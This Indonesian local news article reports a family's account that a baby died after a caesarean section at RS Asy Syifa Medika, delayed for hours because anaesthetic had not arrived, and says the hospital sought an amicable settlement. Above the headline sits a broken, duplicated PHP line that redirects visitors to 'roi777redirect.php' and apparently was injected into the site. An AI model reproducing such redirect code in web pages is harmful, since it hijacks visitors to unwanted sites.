header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Alasan Obat Bius, Tunda Operasi Sesar. Akibatnya Anak Raisa Wafat di RS.Asy Syifa Tubaba -
Alasan Obat Bius, Tunda Operasi Sesar. Akibatnya Anak Raisa Wafat di RS.Asy Syifa Tubaba

TRANSLAMPUNG.COM–PANARAGAN
Risa prasisca (24) Warga Tiyuh Karta Rk8, Kecamatan Tulangbawang Udik‎ Kabupaten Tulangbawang Barat (Tubaba) Kehilangan bayinya usai operasi persalinan sesar di RS.Asy Syifa Medika Tiyuh Daya asri Kecamatan Tumijajar Kabupaten setempat pukul 20:00 Wib.

‎Menurut Surya (44) selaku ayah kandung Risa prasisca (pasien) juga kakek dari Bayi (almarhum‎) warga Tiyuh (Desa) Negeri ratu Rt1-Rk4,‎ !Kecamatan Muara sungkai Kabupaten Lampung Utara (Lampura) mengatakan dirinya membawa anaknya ke sana untuk mendapatkan pertolongan lebih lanjut.

‎” kami sampai di puskesmas pukul 09:00 Wib pagi, namun dikarenakan keterbatasan alat medis anak sayapun langsung dirujuk ke RS.Asy Syifa Medika setempat untuk medapatkan pertolongan lebih lanjut.” Kata Surya ke  Translampung.com saat dihubungi melalui telpon selulernya pada (4/7/2018) pukul 23:32 Wib. Lanjut dia, setibanya pasien dan keluarga di RS.Asy Syifa sekira pukul 11:00 Wib siang, saat itu pasien langsung mendapatkan ditanggapi dan akan dilakukan operasi.

” kata dokternya anak saya akan di operasi ‎pukul 16:00 Wib,  tapi operasi batal dan dimundurkan pukul 17.00 WIB. Namn kembali operasi tertunda hingga pukul 20.00 WIB. Alasannya obat bius belum sampai,” ujarnya.

 

lebih jauh dia uraikan, setelah Pukul 20:00 Wib barulah ‎pasien tersebut dilakukan operasi oleh Dokter, pasca operasi itu menurut pihak Dokter anak (Bayi) pasien dalam keadaan sehat dan selamat, namun kenyataannya Bayi tersebut meninggal dunia.

‎” sebelumnya kami sekeluarga telah meminta kepada managemen RS.Asy Syifa agar pasien dapat dirujuk ke RSUD Bandar lampung, namun pihak RS Asy Syifa tidak membolehkan bahkan mereka menyatakan siap menangani pasien dan Bayinya hingga selamat.” Jelasnya.

‎Untuk itu kami sekeluarga tidak terima dan meminta pertanggung jawaban pihak RS.Asy Syifa sebab, kejadian tersebut diduga murni kelalaian dan  kesengajaan dalam penanganan pasein.

‎” Tadi pihak Direktur RS.Asy Syifa Medika meminta kejadian ini dapat di selesaikan dengan cara kekeluargaan dan musyawarah mufakat, untuk itu kamipun sepakat menyetujuinya.” Imbuhnya.

Sementara itu untuk mengantsipasi hal yang tidak di‎ inginkan tanpak sejumlah anggota jajaran Mapolsek Tumijajar dipimpin langsung Kapolsek Iptu Aladin melakukan penjagaan diarea RS.Asy Syifa Mediak setempat.

” Selain mengantisipasi adanya tindakan anarkis keberadaan kami disini atas permintaan pihak RS.Asy Syifa untuk membantu pengamanan kedua belah pihak.” Kata Kapolsek Iptu Aladin (Dirman)

News Reporter
Kepala Biro Tulangbawang Barat